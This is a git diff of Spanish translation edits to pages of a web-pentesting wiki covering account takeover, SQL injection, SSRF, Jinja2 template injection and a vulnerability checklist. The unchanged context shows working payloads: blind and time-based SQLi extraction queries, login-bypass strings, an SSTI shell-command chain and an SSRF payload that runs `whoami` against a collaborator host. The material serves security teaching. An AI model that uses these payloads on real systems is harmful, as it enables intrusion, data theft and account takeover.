### Token de Restablecimiento de Contraseña Débil <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
||||
@ -100,11 +100,11 @@ email=victim@mail.com|hacker@mail.com
|
||||
El token de restablecimiento de contraseña debe generarse aleatoriamente y ser único cada vez.\
|
||||
Intente determinar si el token expira o si siempre es el mismo; en algunos casos, el algoritmo de generación es débil y puede ser adivinado. Las siguientes variables podrían ser utilizadas por el algoritmo.
|
||||
|
||||
- Marca de tiempo
|
||||
- ID de usuario
|
||||
- Correo electrónico del usuario
|
||||
- Nombre y apellido
|
||||
- Fecha de nacimiento
|
||||
- Timestamp
|
||||
- UserID
|
||||
- Email del Usuario
|
||||
- Nombre y Apellido
|
||||
- Fecha de Nacimiento
|
||||
- Criptografía
|
||||
- Solo números
|
||||
- Secuencia de token pequeña (caracteres entre \[A-Z,a-z,0-9])
|
||||
@ -151,13 +151,13 @@ Content-Length: 83
|
||||
GET http://something.burpcollaborator.net HTTP/1.1
|
||||
X: X
|
||||
```
|
||||
Hackerone informa sobre la explotación de este bug\
|
||||
Hackerone informa sobre la explotación de este error\
|
||||
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
|
||||
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
|
||||
|
||||
### Toma de Control de Cuenta a través de CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
||||
|
||||
1. Crea un payload para el CSRF, p. ej: “Formulario HTML con envío automático para un cambio de contraseña”
|
||||
1. Crea un payload para el CSRF, p. ej.: “Formulario HTML con envío automático para un cambio de contraseña”
|
||||
2. Envía el payload
|
||||
|
||||
### Toma de Control de Cuenta a través de JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
||||
|
||||
@ -21,9 +21,9 @@ Cuando un sitio parece ser **vulnerable a la inyección SQL (SQLi)** debido a re
|
||||
"))
|
||||
`))
|
||||
```
|
||||
Luego, necesitas saber cómo **arreglar la consulta para que no haya errores**. Para arreglar la consulta, puedes **ingresar** datos para que la **consulta anterior acepte los nuevos datos**, o simplemente puedes **ingresar** tus datos y **agregar un símbolo de comentario al final**.
|
||||
Entonces, necesitas saber cómo **arreglar la consulta para que no haya errores**. Para arreglar la consulta, puedes **ingresar** datos para que la **consulta anterior acepte los nuevos datos**, o simplemente puedes **ingresar** tus datos y **agregar un símbolo de comentario al final**.
|
||||
|
||||
_Ten en cuenta que si puedes ver mensajes de error o puedes notar diferencias cuando una consulta está funcionando y cuando no, esta fase será más fácil._
|
||||
_Nota que si puedes ver mensajes de error o puedes notar diferencias cuando una consulta está funcionando y cuando no, esta fase será más fácil._
|
||||
|
||||
### **Comentarios**
|
||||
```sql
|
||||
@ -68,7 +68,7 @@ Esta lista de palabras fue creada para intentar **confirmar SQLinjections** de l
|
||||
|
||||
{% file src="../../images/sqli-logic.txt" %}
|
||||
|
||||
### Confirmando con Tiempo
|
||||
### Confirmando con Tiempos
|
||||
|
||||
En algunos casos **no notarás ningún cambio** en la página que estás probando. Por lo tanto, una buena manera de **descubrir inyecciones SQL ciegas** es hacer que la base de datos realice acciones que tendrán un **impacto en el tiempo** que necesita la página para cargar.\
|
||||
Por lo tanto, vamos a concatenar en la consulta SQL una operación que tomará mucho tiempo en completarse:
|
||||
@ -189,7 +189,7 @@ _Hay una forma diferente de descubrir estos datos en cada base de datos diferent
|
||||
|
||||
## Explotando Inyección Basada en Unión Oculta
|
||||
|
||||
Cuando la salida de una consulta es visible, pero una inyección basada en unión parece inalcanzable, esto indica la presencia de una **inyección basada en unión oculta**. Este escenario a menudo conduce a una situación de inyección ciega. Para transformar una inyección ciega en una basada en unión, es necesario discernir la consulta de ejecución en el backend.
|
||||
Cuando la salida de una consulta es visible, pero una inyección basada en unión parece inalcanzable, esto significa la presencia de una **inyección basada en unión oculta**. Este escenario a menudo conduce a una situación de inyección ciega. Para transformar una inyección ciega en una basada en unión, es necesario discernir la consulta de ejecución en el backend.
|
||||
|
||||
Esto se puede lograr mediante el uso de técnicas de inyección ciega junto con las tablas predeterminadas específicas de su Sistema de Gestión de Bases de Datos (DBMS) objetivo. Para entender estas tablas predeterminadas, se aconseja consultar la documentación del DBMS objetivo.
|
||||
|
||||
@ -211,15 +211,15 @@ En este caso, puedes abusar de ese comportamiento para volcar la base de datos c
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
```
|
||||
## Explotando Error Blind SQLi
|
||||
## Explotación de Error Blind SQLi
|
||||
|
||||
Este es el **mismo caso que antes** pero en lugar de distinguir entre una respuesta verdadera/falsa de la consulta, puedes **distinguir entre** un **error** en la consulta SQL o no (quizás porque el servidor HTTP se bloquea). Por lo tanto, en este caso puedes forzar un SQLerror cada vez que adivinas correctamente el carácter:
|
||||
Este es el **mismo caso que antes** pero en lugar de distinguir entre una respuesta verdadera/falsa de la consulta, puedes **distinguir entre** un **error** en la consulta SQL o no (quizás porque el servidor HTTP se bloquea). Por lo tanto, en este caso puedes forzar un error SQL cada vez que adivinas correctamente el carácter:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Explotando SQLi Basado en Tiempo
|
||||
|
||||
En este caso **no hay** ninguna manera de **distinguir** la **respuesta** de la consulta basada en el contexto de la página. Pero, puedes hacer que la página **tarde más en cargar** si el carácter adivinado es correcto. Ya hemos visto esta técnica en uso antes para [confirmar una vulnerabilidad SQLi](./#confirming-with-timing).
|
||||
En este caso **no hay** ninguna manera de **distinguir** la **respuesta** de la consulta basada en el contexto de la página. Pero, puedes hacer que la página **tarde más en cargar** si el carácter adivinado es correcto. Ya hemos visto esta técnica en uso antes para [confirmar una vulnerabilidad SQLi](#confirming-with-timing).
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
@ -267,7 +267,7 @@ Lista para intentar eludir la funcionalidad de inicio de sesión:
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
Esta consulta muestra una vulnerabilidad cuando se utiliza MD5 con verdadero para la salida en bruto en las verificaciones de autenticación, lo que hace que el sistema sea susceptible a inyecciones SQL. Los atacantes pueden explotar esto creando entradas que, al ser hasheadas, producen partes inesperadas de comandos SQL, lo que lleva a un acceso no autorizado.
|
||||
Esta consulta muestra una vulnerabilidad cuando se utiliza MD5 con verdadero para la salida en bruto en las verificaciones de autenticación, lo que hace que el sistema sea susceptible a la inyección SQL. Los atacantes pueden explotar esto creando entradas que, cuando se hash, producen partes inesperadas de comandos SQL, lo que lleva a un acceso no autorizado.
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
@ -318,11 +318,11 @@ Para hacerlo, debes intentar **crear un nuevo objeto llamado como el "objeto mae
|
||||
|
||||
Si la base de datos es vulnerable y el número máximo de caracteres para el nombre de usuario es, por ejemplo, 30 y deseas suplantar al usuario **admin**, intenta crear un nombre de usuario llamado: "_admin \[30 espacios] a_" y cualquier contraseña.
|
||||
|
||||
La base de datos **verificará** si el **nombre de usuario** introducido **existe** dentro de la base de datos. Si **no**, **cortará** el **nombre de usuario** al **número máximo permitido de caracteres** (en este caso a: "_admin \[25 espacios]_") y luego **eliminará automáticamente todos los espacios al final actualizando** dentro de la base de datos al usuario "**admin**" con la **nueva contraseña** (puede aparecer algún error, pero no significa que esto no haya funcionado).
|
||||
La base de datos **verificará** si el **nombre de usuario** introducido **existe** dentro de la base de datos. Si **no**, **cortará** el **nombre de usuario** al **número máximo permitido de caracteres** (en este caso a: "_admin \[25 espacios]_") y luego **eliminará automáticamente todos los espacios al final actualizando** dentro de la base de datos al usuario "**admin**" con la **nueva contraseña** (puede aparecer algún error, pero eso no significa que no haya funcionado).
|
||||
|
||||
Más información: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
_Note: Este ataque ya no funcionará como se describe arriba en las últimas instalaciones de MySQL. Si bien las comparaciones aún ignoran los espacios en blanco al final por defecto, intentar insertar una cadena que sea más larga que la longitud de un campo resultará en un error, y la inserción fallará. Para más información sobre esta verificación:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
_Note: Este ataque ya no funcionará como se describe arriba en las últimas instalaciones de MySQL. Si bien las comparaciones aún ignoran los espacios en blanco finales por defecto, intentar insertar una cadena que sea más larga que la longitud de un campo resultará en un error, y la inserción fallará. Para más información sobre esta verificación:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
|
||||
### MySQL Insert time based checking
|
||||
|
||||
@ -332,9 +332,9 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
La cláusula `ON DUPLICATE KEY UPDATE` en MySQL se utiliza para especificar acciones que la base de datos debe tomar cuando se intenta insertar una fila que resultaría en un valor duplicado en un índice UNIQUE o en una PRIMARY KEY. El siguiente ejemplo demuestra cómo se puede explotar esta función para modificar la contraseña de una cuenta de administrador:
|
||||
La cláusula `ON DUPLICATE KEY UPDATE` en MySQL se utiliza para especificar acciones que la base de datos debe tomar cuando se intenta insertar una fila que resultaría en un valor duplicado en un índice UNIQUE o en la PRIMARY KEY. El siguiente ejemplo demuestra cómo se puede explotar esta función para modificar la contraseña de una cuenta de administrador:
|
||||
|
||||
Ejemplo de Inyección de Payload:
|
||||
Example Payload Injection:
|
||||
|
||||
Un payload de inyección podría ser elaborado de la siguiente manera, donde se intenta insertar dos filas en la tabla `users`. La primera fila es un señuelo, y la segunda fila apunta al correo electrónico de un administrador existente con la intención de actualizar la contraseña:
|
||||
```sql
|
||||
@ -380,7 +380,7 @@ Usando **hex** y **replace** (y **substr**):
|
||||
```
|
||||
## Inyección SQL enrutada
|
||||
|
||||
La inyección SQL enrutada es una situación en la que la consulta inyectable no es la que produce la salida, sino que la salida de la consulta inyectable va a la consulta que produce la salida. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
La inyección SQL enrutada es una situación en la que la consulta inyectable no es la que da salida, sino que la salida de la consulta inyectable va a la consulta que da salida. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
|
||||
Ejemplo:
|
||||
```
|
||||
@ -402,11 +402,11 @@ No Space (%20) - bypass utilizando alternativas de espacio en blanco
|
||||
?id=1%0Aand%0A1=1%0A--
|
||||
?id=1%A0and%A01=1%A0--
|
||||
```
|
||||
Sin Espacios - eludir usando comentarios
|
||||
No Whitespace - eludir usando comentarios
|
||||
```sql
|
||||
?id=1/*comment*/and/**/1=1/**/--
|
||||
```
|
||||
Sin espacios en blanco - eludir usando paréntesis
|
||||
No Whitespace - eludir usando paréntesis
|
||||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
@ -445,7 +445,7 @@ Básicamente, puedes usar la notación científica de maneras inesperadas para e
|
||||
```
|
||||
### Bypass Column Names Restriction
|
||||
|
||||
Primero que nada, ten en cuenta que si la **consulta original y la tabla de la que deseas extraer la bandera tienen la misma cantidad de columnas** puedes simplemente hacer: `0 UNION SELECT * FROM flag`
|
||||
Primero que nada, ten en cuenta que si la **consulta original y la tabla de la que deseas extraer la bandera tienen la misma cantidad de columnas** podrías simplemente hacer: `0 UNION SELECT * FROM flag`
|
||||
|
||||
Es posible **acceder a la tercera columna de una tabla sin usar su nombre** utilizando una consulta como la siguiente: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, así que en una sqlinjection esto se vería así:
|
||||
```bash
|
||||
|
||||
@ -22,7 +22,7 @@ Lo primero que necesitas hacer es capturar una interacción SSRF generada por ti
|
||||
|
||||
## Bypass de Dominios en la Lista Blanca
|
||||
|
||||
Por lo general, encontrarás que el SSRF solo funciona en **ciertos dominios o URL en la lista blanca**. En la siguiente página tienes una **compilación de técnicas para intentar eludir esa lista blanca**:
|
||||
Normalmente encontrarás que el SSRF solo funciona en **ciertos dominios o URL en la lista blanca**. En la siguiente página tienes una **compilación de técnicas para intentar eludir esa lista blanca**:
|
||||
|
||||
{{#ref}}
|
||||
url-format-bypass.md
|
||||
@ -125,19 +125,19 @@ En esta configuración, el valor del campo de Indicación de Nombre del Servidor
|
||||
```bash
|
||||
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
|
||||
```
|
||||
## [Carga de archivos Wget](../file-upload/#wget-file-upload-ssrf-trick)
|
||||
## [Wget file upload](../file-upload/index.html#wget-file-upload-ssrf-trick)
|
||||
|
||||
## SSRF con Inyección de Comandos
|
||||
|
||||
Puede valer la pena probar una carga útil como: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
|
||||
|
||||
## Renderización de PDFs
|
||||
## Renderizado de PDFs
|
||||
|
||||
Si la página web está creando automáticamente un PDF con alguna información que has proporcionado, puedes **insertar algo de JS que será ejecutado por el creador de PDFs** (el servidor) mientras se crea el PDF y podrás abusar de un SSRF. [**Encuentra más información aquí**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||||
Si la página web está creando automáticamente un PDF con alguna información que has proporcionado, puedes **insertar algún JS que será ejecutado por el creador de PDFs** (el servidor) mientras se crea el PDF y podrás abusar de un SSRF. [**Encuentra más información aquí**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||||
|
||||
## De SSRF a DoS
|
||||
|
||||
Crea varias sesiones y trata de descargar archivos pesados explotando el SSRF desde las sesiones.
|
||||
Crea varias sesiones e intenta descargar archivos pesados explotando el SSRF desde las sesiones.
|
||||
|
||||
## Funciones PHP de SSRF
|
||||
|
||||
@ -187,7 +187,7 @@ Trucos [**de esta publicación**](https://rafa.hashnode.dev/exploiting-http-pars
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Código vulnerable del proxy Flask</summary>
|
||||
<summary>Código vulnerable de proxy Flask</summary>
|
||||
```python
|
||||
from flask import Flask
|
||||
from requests import get
|
||||
@ -259,13 +259,13 @@ Si tienes **problemas** para **exfiltrar contenido de una IP local** debido a **
|
||||
../cors-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### DNS Rebidding Automatizado
|
||||
### Automated DNS Rebidding
|
||||
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) es una herramienta para realizar ataques de [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding). Incluye los componentes necesarios para volver a enlazar la dirección IP del nombre DNS del servidor de ataque a la dirección IP de la máquina objetivo y para servir cargas útiles de ataque para explotar software vulnerable en la máquina objetivo.
|
||||
|
||||
Consulta también el **servidor en funcionamiento público en** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
|
||||
Consulta también el **servidor en funcionamiento públicamente en** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
|
||||
|
||||
## DNS Rebidding + ID de Sesión TLS/Ticket de Sesión
|
||||
## DNS Rebidding + TLS Session ID/Session ticket
|
||||
|
||||
Requisitos:
|
||||
|
||||
@ -277,10 +277,10 @@ Ataque:
|
||||
|
||||
1. Pide al usuario/bot **acceder** a un **dominio** controlado por el **atacante**
|
||||
2. El **TTL** del **DNS** es **0** seg (por lo que la víctima volverá a comprobar la IP del dominio pronto)
|
||||
3. Se crea una **conexión TLS** entre la víctima y el dominio del atacante. El atacante introduce la **carga útil dentro** del **ID de Sesión o Ticket de Sesión**.
|
||||
3. Se crea una **conexión TLS** entre la víctima y el dominio del atacante. El atacante introduce la **carga útil dentro** del **Session ID o Session Ticket**.
|
||||
4. El **dominio** iniciará un **bucle infinito** de redirecciones contra **sí mismo**. El objetivo de esto es hacer que el usuario/bot acceda al dominio hasta que realice **nuevamente** una **solicitud DNS** del dominio.
|
||||
5. En la solicitud DNS se proporciona una dirección **IP privada** **ahora** (127.0.0.1 por ejemplo)
|
||||
6. El usuario/bot intentará **restablecer la conexión TLS** y para hacerlo **enviará** el **ID de Sesión/Ticket ID** (donde se contenía la **carga útil** del atacante). Así que felicidades, lograste hacer que el **usuario/bot se atacara a sí mismo**.
|
||||
6. El usuario/bot intentará **restablecer la conexión TLS** y para hacerlo **enviará** el **Session** ID/Ticket ID (donde se contenía la **carga útil** del atacante). Así que felicidades, lograste hacer que el **usuario/bot se atacara a sí mismo**.
|
||||
|
||||
Ten en cuenta que durante este ataque, si deseas atacar localhost:11211 (_memcache_) necesitas hacer que la víctima establezca la conexión inicial con www.attacker.com:11211 (el **puerto siempre debe ser el mismo**).\
|
||||
Para **realizar este ataque puedes usar la herramienta**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
||||
@ -288,21 +288,21 @@ Para **más información** echa un vistazo a la charla donde se explica este ata
|
||||
|
||||
## Blind SSRF
|
||||
|
||||
La diferencia entre un SSRF ciego y uno no ciego es que en el ciego no puedes ver la respuesta de la solicitud SSRF. Entonces, es más difícil de explotar porque solo podrás explotar vulnerabilidades bien conocidas.
|
||||
La diferencia entre un blind SSRF y uno no ciego es que en el ciego no puedes ver la respuesta de la solicitud SSRF. Entonces, es más difícil de explotar porque solo podrás explotar vulnerabilidades bien conocidas.
|
||||
|
||||
### SSRF basado en tiempo
|
||||
### Time based SSRF
|
||||
|
||||
**Comprobando el tiempo** de las respuestas del servidor puede ser **posible saber si un recurso existe o no** (quizás toma más tiempo acceder a un recurso existente que acceder a uno que no existe)
|
||||
|
||||
## Explotación de SSRF en la Nube
|
||||
## Cloud SSRF Exploitation
|
||||
|
||||
Si encuentras una vulnerabilidad SSRF en una máquina que se ejecuta dentro de un entorno en la nube, podrías obtener información interesante sobre el entorno en la nube e incluso credenciales:
|
||||
Si encuentras una vulnerabilidad SSRF en una máquina que se ejecuta dentro de un entorno de nube, podrías obtener información interesante sobre el entorno de nube e incluso credenciales:
|
||||
|
||||
{{#ref}}
|
||||
cloud-ssrf.md
|
||||
{{#endref}}
|
||||
|
||||
## Plataformas Vulnerables a SSRF
|
||||
## SSRF Vulnerable Platforms
|
||||
|
||||
Varias plataformas conocidas contienen o han contenido vulnerabilidades SSRF, consúltalas en:
|
||||
|
||||
@ -310,7 +310,7 @@ Varias plataformas conocidas contienen o han contenido vulnerabilidades SSRF, co
|
||||
ssrf-vulnerable-platforms.md
|
||||
{{#endref}}
|
||||
|
||||
## Herramientas
|
||||
## Tools
|
||||
|
||||
### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
|
||||
|
||||
@ -320,7 +320,7 @@ Herramienta para detectar y explotar vulnerabilidades SSRF
|
||||
|
||||
- [Publicación en el blog sobre Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
|
||||
|
||||
Esta herramienta genera cargas útiles de Gopher para:
|
||||
Esta herramienta genera cargas útiles Gopher para:
|
||||
|
||||
- MySQL
|
||||
- PostgreSQL
|
||||
@ -333,19 +333,19 @@ Esta herramienta genera cargas útiles de Gopher para:
|
||||
|
||||
- [Publicación en el blog sobre el uso de SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
|
||||
|
||||
_remote-method-guesser_ es un escáner de vulnerabilidades de _Java RMI_ que admite operaciones de ataque para la mayoría de las vulnerabilidades comunes de _Java RMI_. La mayoría de las operaciones disponibles admiten la opción `--ssrf`, para generar una carga útil de _SSRF_ para la operación solicitada. Junto con la opción `--gopher`, se pueden generar cargas útiles de _gopher_ listas para usar directamente.
|
||||
_remote-method-guesser_ es un escáner de vulnerabilidades _Java RMI_ que admite operaciones de ataque para la mayoría de las vulnerabilidades comunes de _Java RMI_. La mayoría de las operaciones disponibles admiten la opción `--ssrf`, para generar una carga útil _SSRF_ para la operación solicitada. Junto con la opción `--gopher`, se pueden generar cargas útiles _gopher_ listas para usar directamente.
|
||||
|
||||
### [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
|
||||
|
||||
SSRF Proxy es un servidor proxy HTTP multihilo diseñado para canalizar el tráfico HTTP del cliente a través de servidores HTTP vulnerables a Server-Side Request Forgery (SSRF).
|
||||
|
||||
### Para practicar
|
||||
### To practice
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/incredibleindishell/SSRF_Vulnerable_Lab
|
||||
{{#endref}}
|
||||
|
||||
## Referencias
|
||||
## References
|
||||
|
||||
- [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
|
||||
|
||||
@ -23,7 +23,7 @@ app.run()
|
||||
|
||||
### **Declaración de Depuración**
|
||||
|
||||
Si la Extensión de Depuración está habilitada, un tag `debug` estará disponible para volcar el contexto actual, así como los filtros y pruebas disponibles. Esto es útil para ver qué está disponible para usar en la plantilla sin configurar un depurador.
|
||||
Si la Extensión de Depuración está habilitada, un `debug` tag estará disponible para volcar el contexto actual, así como los filtros y pruebas disponibles. Esto es útil para ver qué está disponible para usar en la plantilla sin configurar un depurador.
|
||||
```python
|
||||
<pre>
|
||||
|
||||
@ -159,7 +159,7 @@ La llamada a `__subclasses__` nos ha dado la oportunidad de **acceder a cientos
|
||||
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
|
||||
|
||||
```
|
||||
Para aprender sobre **más clases** que puedes usar para **escapar**, puedes **consultar**:
|
||||
Para aprender sobre **más clases** que puedes usar para **escapar** puedes **consultar**:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
@ -250,7 +250,7 @@ Sin **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
||||
Desde los [**objetos globales**](jinja2-ssti.md#accessing-global-objects) hay otra forma de llegar a **RCE sin usar esa clase.**\
|
||||
Si logras acceder a alguna **función** de esos objetos globales, podrás acceder a **`__globals__.__builtins__`** y desde allí el **RCE** es muy **sencillo**.
|
||||
|
||||
Puedes **encontrar funciones** en los objetos **`request`**, **`config`** y cualquier **otro** **objeto global** interesante al que tengas acceso con:
|
||||
Puedes **encontrar funciones** de los objetos **`request`**, **`config`** y cualquier **otro** **objeto global** interesante al que tengas acceso con:
|
||||
```bash
|
||||
{{ request.__class__.__dict__ }}
|
||||
- application
|
||||
@ -322,7 +322,7 @@ The request will be urlencoded by default according to the HTTP format, which ca
|
||||
## Referencias
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
- Ver [attr trick para eludir caracteres en la lista negra aquí](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
||||
- Ver [attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/index.html#python3).
|
||||
- [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
||||
- [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
||||
|
||||
|
||||
@ -7,16 +7,16 @@ En cada Pentest Web, hay **varios lugares ocultos y obvios que podrían ser vuln
|
||||
## Proxies
|
||||
|
||||
> [!NOTE]
|
||||
> Hoy en día, las **aplicaciones** **web** suelen **utilizar** algún tipo de **proxies** **intermediarios**, que pueden ser (mal) utilizados para explotar vulnerabilidades. Estas vulnerabilidades necesitan que haya un proxy vulnerable, pero generalmente también requieren alguna vulnerabilidad adicional en el backend.
|
||||
> Hoy en día, las **aplicaciones** **web** suelen **utilizar** algún tipo de **proxies** **intermediarios**, que pueden ser (mal) utilizados para explotar vulnerabilidades. Estas vulnerabilidades necesitan que un proxy vulnerable esté en su lugar, pero generalmente también requieren alguna vulnerabilidad adicional en el backend.
|
||||
|
||||
- [ ] [**Abuso de encabezados hop-by-hop**](abusing-hop-by-hop-headers.md)
|
||||
- [ ] [**Envenenamiento de caché/Decepción de caché**](cache-deception/)
|
||||
- [ ] [**Smuggling de solicitudes HTTP**](http-request-smuggling/)
|
||||
- [ ] [**Smuggling H2C**](h2c-smuggling.md)
|
||||
- [ ] [**Inclusión del lado del servidor/Inyección del lado del borde**](server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**HTTP Request Smuggling**](http-request-smuggling/)
|
||||
- [ ] [**H2C Smuggling**](h2c-smuggling.md)
|
||||
- [ ] [**Inclusión del lado del servidor/Inyección del lado de la frontera**](server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Descubriendo Cloudflare**](../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||
- [ ] [**Inyección del lado del servidor XSLT**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**Bypass de protecciones Proxy / WAF**](proxy-waf-protections-bypass.md)
|
||||
- [ ] [**Bypass de Protecciones de Proxy / WAF**](proxy-waf-protections-bypass.md)
|
||||
|
||||
## **Entrada del usuario**
|
||||
|
||||
@ -34,8 +34,8 @@ Si los datos introducidos pueden reflejarse de alguna manera en la respuesta, la
|
||||
- [ ] [**Markup Colgante**](dangling-markup-html-scriptless-injection/)
|
||||
- [ ] [**Inclusión de Archivos/Recorrido de Rutas**](file-inclusion/)
|
||||
- [ ] [**Redirección Abierta**](open-redirect.md)
|
||||
- [ ] [**Contaminación de Prototipos a XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
|
||||
- [ ] [**Inclusión del lado del servidor/Inyección del lado del borde**](server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Contaminación de Prototipos a XSS**](deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||||
- [ ] [**Inclusión del lado del servidor/Inyección del lado de la frontera**](server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Falsificación de Solicitudes del Lado del Servidor**](ssrf-server-side-request-forgery/)
|
||||
- [ ] [**Inyección de Plantillas del Lado del Servidor**](ssti-server-side-template-injection/)
|
||||
- [ ] [**Nabbing de Pestañas Inverso**](reverse-tab-nabbing.md)
|
||||
@ -74,7 +74,7 @@ Cuando un websocket publica un mensaje o un formulario que permite a los usuario
|
||||
Dependiendo de los encabezados HTTP proporcionados por el servidor web, algunas vulnerabilidades podrían estar presentes.
|
||||
|
||||
- [ ] [**Clickjacking**](clickjacking.md)
|
||||
- [ ] [**Bypass de Política de Seguridad de Contenidos**](content-security-policy-csp-bypass/)
|
||||
- [ ] [**Bypass de Política de Seguridad de Contenido**](content-security-policy-csp-bypass/)
|
||||
- [ ] [**Hacking de Cookies**](hacking-with-cookies/)
|
||||
- [ ] [**CORS - Configuraciones Incorrectas y Bypass**](cors-bypass.md)
|
||||
|
||||
@ -105,7 +105,7 @@ Algunas **funcionalidades específicas** también pueden ser vulnerables si se u
|
||||
|
||||
Las funcionalidades que permiten subir archivos podrían ser vulnerables a varios problemas.\
|
||||
Las funcionalidades que generan archivos incluyendo la entrada del usuario podrían ejecutar código inesperado.\
|
||||
Los usuarios que abren archivos subidos por otros usuarios o generados automáticamente que incluyen la entrada del usuario podrían estar comprometidos.
|
||||
Los usuarios que abren archivos subidos por otros usuarios o generados automáticamente que incluyen la entrada del usuario podrían verse comprometidos.
|
||||
|
||||
- [ ] [**Subida de Archivos**](file-upload/)
|
||||
- [ ] [**Inyección de Fórmulas**](formula-csv-doc-latex-ghostscript-injection.md)
|
||||
|
||||
@ -7,7 +7,7 @@ En cada Pentest Web, hay **varios lugares ocultos y obvios que podrían ser vuln
|
||||
## Proxies
|
||||
|
||||
> [!NOTE]
|
||||
> Hoy en día, las **aplicaciones** **web** suelen **utilizar** algún tipo de **proxies** **intermediarios**, que pueden ser (mal) utilizados para explotar vulnerabilidades. Estas vulnerabilidades necesitan que haya un proxy vulnerable, pero generalmente también requieren alguna vulnerabilidad adicional en el backend.
|
||||
> Hoy en día, las **aplicaciones** **web** suelen **utilizar** algún tipo de **proxies** **intermediarios**, que pueden ser (mal) utilizados para explotar vulnerabilidades. Estas vulnerabilidades necesitan que un proxy vulnerable esté en su lugar, pero generalmente también requieren alguna vulnerabilidad adicional en el backend.
|
||||
|
||||
- [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
|
||||
- [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
|
||||
@ -34,7 +34,7 @@ Si los datos introducidos pueden reflejarse de alguna manera en la respuesta, la
|
||||
- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/)
|
||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
|
||||
